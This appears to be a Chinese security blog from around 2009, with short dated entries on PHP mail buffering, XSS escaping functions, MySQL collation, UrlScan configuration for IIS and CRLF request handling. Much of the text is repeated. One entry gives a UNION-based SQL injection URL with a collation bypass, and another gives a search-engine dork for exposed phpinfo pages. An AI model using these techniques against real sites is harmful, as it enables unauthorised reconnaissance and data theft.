Oct
6
uchome中的发送邮件函数中,第一次没有进行清空缓冲区,造成发送第一封邮件会造成把页面所有数据发送出去,在 source/function_sendmail.php 文件的 16-18 行:
包含sendmail模版,读取缓冲区数据保存在 $message 变量中,然后清除。其实在include template('sendmail');之前,缓冲区里面应该有其他数据,这样就加在了一起保存在邮件内容中进行发送。
解决方法就是先清空一次缓冲区:
这样读取的话,就是完整的 sendmail 模版数据。
ps: 一开始搞了好久,没找到原因之前,我先向一个垃圾email里面发送一次,其后再向真正的目标邮件发送。比如:
可能是我修改模版太多?
include template('sendmail');
$message = ob_get_contents();
obclean();
$message = ob_get_contents();
obclean();
包含sendmail模版,读取缓冲区数据保存在 $message 变量中,然后清除。其实在include template('sendmail');之前,缓冲区里面应该有其他数据,这样就加在了一起保存在邮件内容中进行发送。
解决方法就是先清空一次缓冲区:
obclean();
include template('sendmail');
$message = ob_get_contents();
obclean();
include template('sendmail');
$message = ob_get_contents();
obclean();
这样读取的话,就是完整的 sendmail 模版数据。
ps: 一开始搞了好久,没找到原因之前,我先向一个垃圾email里面发送一次,其后再向真正的目标邮件发送。比如:
//容错处理
//sendmail("xxx@163.com",$subject, $mail_message);
//发送
if(!sendmail("recv_mail@gmail.com",$subject, $mail_message)) {
ErrView("·发送邮件错误!",0);
}
//sendmail("xxx@163.com",$subject, $mail_message);
//发送
if(!sendmail("recv_mail@gmail.com",$subject, $mail_message)) {
ErrView("·发送邮件错误!",0);
}
可能是我修改模版太多?
Sep
25
记录:
<script>
function htmlspecialchars(string){
var data = [];
for(var i = 0 ;i <string.length;i++) {
data.push( "&#"+string.charCodeAt(i)+";");
}
return data.join("");
}
document.write(htmlspecialchars("@{}<script>javascript alert<\/script>"));
</script>
function htmlspecialchars(string){
var data = [];
for(var i = 0 ;i <string.length;i++) {
data.push( "&#"+string.charCodeAt(i)+";");
}
return data.join("");
}
document.write(htmlspecialchars("@{}<script>javascript alert<\/script>"));
</script>
<script>
function filter (str) {
str = str.replace(/&/g, '&');
str = str.replace(/</g, '<');
str = str.replace(/>/g, '>');
str = str.replace(/'/g, '´');
str = str.replace(/"/g, '"');
str = str.replace(/\|/g, '¦');
return str;
}
alert(filter("url"))
</script>
function filter (str) {
str = str.replace(/&/g, '&');
str = str.replace(/</g, '<');
str = str.replace(/>/g, '>');
str = str.replace(/'/g, '´');
str = str.replace(/"/g, '"');
str = str.replace(/\|/g, '¦');
return str;
}
alert(filter("url"))
</script>
Sep
10
Error:
Soluciones:
Example :
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
Soluciones:
aes_decrypt(aes_encrypt(version(),1),1)
convert(version() using latin1)
convert(version() using latin1)
Example :
ERROR : http://www.xxx.com/reportaje.php?id=1+and+1=0+union+select+all+1,2,version(),4,5
SOLUCION : http://www.xxx.com/reportaje.php?id=1+and+1=0+union+select+all+1,2,aes_decrypt(aes_encrypt(version(),1),1),4,5
Sep
5
一直没注意 PHP.ini 里面的 disable_functions 开关选项,此选项可关闭一些危险的函数,比如system,exec 等,比如: disable_functions = phpinfo , 如果在文件中调用 phpinfo() 函数,那么在 error_reporting 开启的情况下,会提示如下错误:
目前发现万网主机是屏蔽此函数的。
利用 google: inurl:phpinfo.php 就可查看大量的主机信息,一般为管理员进行调试的时候放上未删除的文件。
Warning: phpinfo() has been disabled for security reasons
目前发现万网主机是屏蔽此函数的。
利用 google: inurl:phpinfo.php 就可查看大量的主机信息,一般为管理员进行调试的时候放上未删除的文件。
Aug
22
在AntiXSS项目中,各个函数均采用白名单方式进行编码,比如一个 EncodeHtml() Java函数:
private static String EncodeHtml(String strInput) {
if (strInput.length() == 0) {
return EmptyString;
}
StringBuffer builder = new StringBuffer(strInput.length() * 2);
CharacterIterator it = new StringCharacterIterator(strInput);
for (char ch = it.first(); ch != CharacterIterator.DONE; ch = it.next()) {
if ((((ch > '`') && (ch < '{')) || ((ch > '@') && (ch < '[')))
|| (((ch == ' ') || ((ch > '/') && (ch < ':'))) || (((ch == '.') || (ch == ',')) || ((ch == '-') || (ch == '_'))))) {
builder.append(ch);
} else {
builder.append("&#" + (int) ch + ";");
}
}
return builder.toString();
}
根据ASCII,先排除了正常使用的字符,其他均进行编码。相比其他采用黑名单编码的自写函数要好的多。。if (strInput.length() == 0) {
return EmptyString;
}
StringBuffer builder = new StringBuffer(strInput.length() * 2);
CharacterIterator it = new StringCharacterIterator(strInput);
for (char ch = it.first(); ch != CharacterIterator.DONE; ch = it.next()) {
if ((((ch > '`') && (ch < '{')) || ((ch > '@') && (ch < '[')))
|| (((ch == ' ') || ((ch > '/') && (ch < ':'))) || (((ch == '.') || (ch == ',')) || ((ch == '-') || (ch == '_'))))) {
builder.append(ch);
} else {
builder.append("&#" + (int) ch + ";");
}
}
return builder.toString();
}
Aug
17
只可YY:
根据环境的不同可能有些不会成功,比如自定义404 页面,URL Rewriter 技术,不过 % 号绝对可用。
比如:
不可持久性(ddos),如果在cookie里面再引起的话就可以了。。。推荐一个插件:Head spy。
http://www.bing.com/settings.aspx"
http://www.bing.com/settings.aspx<
http://www.bing.com/settings.aspx>
http://www.bing.com/settings.aspx%
http://www.bing.com/settings.aspx<
http://www.bing.com/settings.aspx>
http://www.bing.com/settings.aspx%
根据环境的不同可能有些不会成功,比如自定义404 页面,URL Rewriter 技术,不过 % 号绝对可用。
比如:
http://www.pcsec.org/% IIS
http://www.binjoo.net/% Apache
http://www.binjoo.net/% Apache
不可持久性(ddos),如果在cookie里面再引起的话就可以了。。。推荐一个插件:Head spy。
Aug
8
URLScan 是一个可供网站管理员使用的加载项工具。管理员可以控制 URLScan 的操作并限制服务器处理的 HTTP 请求的类型。
默认安装 UrlScan 会,会禁用 Web 服务扩展 - Active Server Pages,当手工启用时,也不可用,在UrlScan的配置文件中 UrlScan.ini 默认的选项也会禁止使用一些扩展(让我调试了好半天,以为UrlScan 和 asp ISAPI 有冲突),以下为默认禁止扩展选项:
这样一般会禁止掉某些 cer,asa 之类未过滤的上传漏洞。
还有一些选项可以禁止掉 TRACE 请求,RemoveServerHeader 选项可以删除请求包中的IIS版本信息(Server: Microsoft-IIS/6.0
),以及IIS 目录解析漏洞:http://www.woyigui.cn/test.asp/1.txt 该请求会被阻止。
Link:
下载UrlScan: http://download.microsoft.com/download/iis50/Utility/2.1/NT45XP/EN-US/iislockd.exe
下载完后用: iislockd.exe /q /c 命令提取 UrlScan 安装程序。
如何使用 URLScan http://msdn.microsoft.com/zh-cn/library/aa302368.aspx
如何配置 URLScan 工具: http://support.microsoft.com/kb/326444/zh-cn
对 IIS 使用 URLScan: http://support.microsoft.com/default.aspx?scid=307608
默认安装 UrlScan 会,会禁用 Web 服务扩展 - Active Server Pages,当手工启用时,也不可用,在UrlScan的配置文件中 UrlScan.ini 默认的选项也会禁止使用一些扩展(让我调试了好半天,以为UrlScan 和 asp ISAPI 有冲突),以下为默认禁止扩展选项:
; Deny ASP requests
.asp
.cer
.cdx
.asa
.asp
.cer
.cdx
.asa
这样一般会禁止掉某些 cer,asa 之类未过滤的上传漏洞。
还有一些选项可以禁止掉 TRACE 请求,RemoveServerHeader 选项可以删除请求包中的IIS版本信息(Server: Microsoft-IIS/6.0
),以及IIS 目录解析漏洞:http://www.woyigui.cn/test.asp/1.txt 该请求会被阻止。
Link:
下载UrlScan: http://download.microsoft.com/download/iis50/Utility/2.1/NT45XP/EN-US/iislockd.exe
下载完后用: iislockd.exe /q /c 命令提取 UrlScan 安装程序。
如何使用 URLScan http://msdn.microsoft.com/zh-cn/library/aa302368.aspx
如何配置 URLScan 工具: http://support.microsoft.com/kb/326444/zh-cn
对 IIS 使用 URLScan: http://support.microsoft.com/default.aspx?scid=307608
Aug
7
GET /%0A%0D HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cache-Control: max-age=0
HTTP/1.x 400 Bad Request
Content-Type: text/html
Date: Fri, 07 Aug 2009 04:12:39 GMT
Connection: close
Content-Length: 34
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cache-Control: max-age=0
HTTP/1.x 400 Bad Request
Content-Type: text/html
Date: Fri, 07 Aug 2009 04:12:39 GMT
Connection: close
Content-Length: 34
GET部分未进行 UrlEncode造成Bad Request。同时 header() 注入%0d%0a 时也可用 UrEncode() 进行解决。





